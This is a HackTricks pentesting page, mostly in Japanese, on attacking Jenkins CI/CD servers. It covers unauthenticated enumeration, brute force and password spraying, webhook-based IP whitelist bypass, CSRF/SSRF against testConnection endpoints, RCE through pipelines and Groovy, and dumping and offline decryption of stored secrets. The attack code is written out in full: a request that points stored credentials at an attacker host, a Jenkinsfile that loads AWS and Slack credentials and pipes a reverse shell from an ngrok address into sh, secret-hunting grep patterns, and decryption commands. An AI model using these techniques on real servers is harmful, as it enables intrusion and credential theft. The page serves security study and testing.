Jenkins セキュリティ

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Jenkins は、パイプラインを使ってほとんどあらゆる組み合わせのプログラミング言語とソースコードリポジトリに対して、継続的インテグレーションまたは継続的デリバリー (CI/CD) 環境を構築するためのシンプルな手段を提供するツールです。さらに、さまざまな日常的な開発タスクを自動化します。Jenkins が個々のステップ用にスクリプトを作成する必要を完全に排除するわけではありませんが、ビルド、テスト、デプロイの一連のツールを手作業で構築するよりも、より迅速かつ堅牢に統合する方法を提供します。

Basic Jenkins Information

未認証での列挙

認証なしで興味深い Jenkins ページ(例: /people/asynchPeople — これらは現在のユーザを一覧表示します)を検索するには、次を使用できます:

msf> use auxiliary/scanner/http/jenkins_enum

認証不要でコマンドを実行できるか確認する:

msf> use auxiliary/scanner/http/jenkins_command

認証情報がなくても、/asynchPeople/ パスや /securityRealm/user/admin/search/index?q= を確認して usernames を取得できます。

Jenkins のバージョンは /oops/error パスから取得できることがあります。

既知の脆弱性

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

ログイン

基本情報から、Jenkins にログインするためのすべての方法 を確認できます:

Basic Jenkins Information

登録

Jenkins のインスタンスの中には、アカウントを作成してログインできるものがあります。とても単純です。

SSO ログイン

また、SSO functionality/plugins が存在する場合は、テストアカウント(例:テスト Github/Bitbucket account)を使ってアプリケーションに log-in を試みるべきです。Trick from here.

Bruteforce

Jenkins には password policyusername brute-force mitigation がありません。brute-force を行うことは重要です。なぜなら weak passwordsusernames as passwords、さらには reversed usernames as passwords が使われている可能性があるからです。

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

次のスクリプトを使用してください: this python script または this powershell script

IP Whitelisting Bypass

多くの組織は、GitHub や GitLab のような SaaS-based source control management (SCM) systems と、Jenkins や TeamCity のような internal, self-hosted CI ソリューションを組み合わせています。この構成により、CI システムは主にパイプラインジョブをトリガーするために、receive webhook events from SaaS source control vendors ことができます。

これを実現するため、組織はSCM platformsIP rangeswhitelistし、webhooks経由でinternal CI systemへアクセスを許可します。ただし、重要なのはanyoneが GitHub または GitLab にaccountを作成し、trigger a webhookを設定でき、それによってinternal CI systemにリクエストが送られる可能性がある点です。

参照: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

ここでは、Jenkins にアクセスする有効なアカウントを持っているものと仮定します。

Warning

Jenkins に設定されている Authorization メカニズムや、侵害されたユーザーの権限によっては、以下の攻撃を実行できる場合とできない場合があります。

For more information check the basic information:

Basic Jenkins Information

ユーザーの列挙

Jenkins にアクセスできる場合、他の登録ユーザーを http://127.0.0.1:8080/asynchPeople/ で一覧できます。

ビルドをダンプして平文のシークレットを探す

ビルドのコンソール出力やビルド環境変数をダンプして、平文のシークレットが見つかるか確認するために this script を使用してください。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

一部のプラグインは、Jelly の validateButtontest connection ハンドラを /descriptorByName/<Class>/testConnection のようなパスで公開しています。ハンドラが POST や権限チェックを強制しない 場合、以下が可能です:

  • POST を GET に切り替え、Crumb を省略して CSRF チェックを回避します。
  • Jenkins.ADMINISTER チェックがない場合、低権限/匿名でハンドラを実行できます。
  • 管理者に対して CSRF を行い、host/URL パラメータを差し替えて credentials を exfiltrate したり、外向きの呼び出しを発生させます。
  • レスポンスのエラー(例: ConnectException)を SSRF/port-scan オラクルとして利用できます。

Example GET(no Crumb)で、バリデーション呼び出しを SSRF/credential exfiltration に変換する例:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:

You will usually find Jenkins ssh credentials in a global provider (/credentials/), so you can also dump them as you would dump any other secret. More information in the Dumping secrets section.

RCE in Jenkins

Getting a shell in the Jenkins server gives the attacker the opportunity to leak all the secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.

By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.

RCE Creating/Modifying a project

Creating/Modifying a project is a way to obtain RCE over the Jenkins server:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

You can also get RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

To exploit pipelines you still need to have access to Jenkins.

Build Pipelines

Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile is used:

It’s also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.

If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins.
It’s possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.

Checking Env variables

It’s possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn’t contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

For information about how are secrets usually treated by Jenkins check out the basic information:

Basic Jenkins Information

Credentials can be scoped to global providers (/credentials/) or to specific projects (/job/<project-name>/configure). Therefore, in order to exfiltrate all of them you need to compromise at least all the projects that contains secrets and execute custom/poisoned pipelines.

There is another problem, in order to get a secret inside the env of a pipeline you need to know the name and type of the secret. For example, you try lo load a usernamePassword secret as a string secret you will get this error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

ここでは、一般的なシークレットタイプを読み込む方法を示します:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

このページの最後ですべての認証情報の種類を確認できます: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

最も効率的に一度にすべてのシークレットをダンプする方法は、Jenkinsマシンを侵害することです(例えばbuilt-in nodeでreverse shellを実行するなど)。その後leakingされたmaster keysencrypted secretsを取得してオフラインで復号します。
詳細はNodes & Agents sectionおよびPost Exploitation sectionを参照してください。

トリガー

From the docs: triggersディレクティブは、Pipelineが再トリガーされるべき自動的な方法を定義します。GitHubやBitBucketなどのソースと統合されたPipelineでは、webhooksベースの統合が既に存在する可能性が高いため、triggersは不要な場合があります。現在利用可能なtriggersはcronpollSCMupstreamです。

Cron example:

triggers { cron('H */4 * * 1-5') }

ドキュメント内の他の例も確認してください。

ノード & エージェント

一つの Jenkins instance には、異なるマシンで稼働している異なるエージェントが存在することがあります。攻撃者の観点からは、異なるマシンへのアクセスは、盗むことのできる異なるクラウド資格情報や、他のマシンを悪用して攻撃するために使える異なるネットワークアクセスを意味します。

For more information check the basic information:

Basic Jenkins Information

/computer/設定されたノードを列挙できます。通常、**Built-In Node **(Jenkinsが稼働しているノード)を見つけ、さらに他のノードも存在する可能性があります:

機密性の高いJenkins情報が含まれているため、Built-In nodeを乗っ取ることは特に興味深いです。

pipelinebuilt-in Jenkins noderunしたいことを示すには、パイプライン内に次の設定を指定します:

pipeline {
agent {label 'built-in'}

完全な例

特定の agent 上の pipeline で、cron trigger を使い、pipeline と stage の env variables を設定し、step 内で 2 つの変数を読み込んで reverse shell を送る例:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read から RCE への移行

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

十分な権限があれば、/credentials/ にアクセスして secrets を一覧できます。これは credentials.xml ファイル内の secrets のみを一覧することに注意してください。ビルド構成ファイル (build configuration files) には さらに多くの credentials が含まれている場合もあります。

もし各プロジェクトの 設定を閲覧できる場合、そこにリポジトリへアクセスするために使われている credentials (secrets) の名前 やプロジェクトの その他の credentials も確認できます。

Groovy から

Jenkins Dumping Secrets from Groovy

ディスクから

これらのファイルは Jenkins secrets を復号する のに必要です:

  • secrets/master.key
  • secrets/hudson.util.Secret

そのような secrets は通常次の場所にあります:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

これらを見つけるための正規表現は次の通りです:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins secrets をオフラインで復号する

もしシークレットを復号するために必要なパスワードをダンプしている場合は、this script を使ってそれらのシークレットを復号できます

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

GroovyからJenkinsのsecretsをDecrypt

println(hudson.util.Secret.decrypt("{...}"))

新しい管理者ユーザーを作成

  1. Jenkins の config.xml ファイルにアクセスします(/var/lib/jenkins/config.xml または C:\Program Files (x86)\Jenkis\
  2. <useSecurity>true</useSecurity> を検索し、単語 **true ** を false に変更します。
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Jenkins サーバーを再起動します: service jenkins restart
  5. 再度 Jenkins ポータルにアクセスすると、Jenkins は今回認証情報を要求しません。 “Manage Jenkins” に移動して、管理者パスワードを再設定します。
  6. <useSecurity>true</useSecurity> に設定を戻して セキュリティを有効化 し、Jenkins を再起動します。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする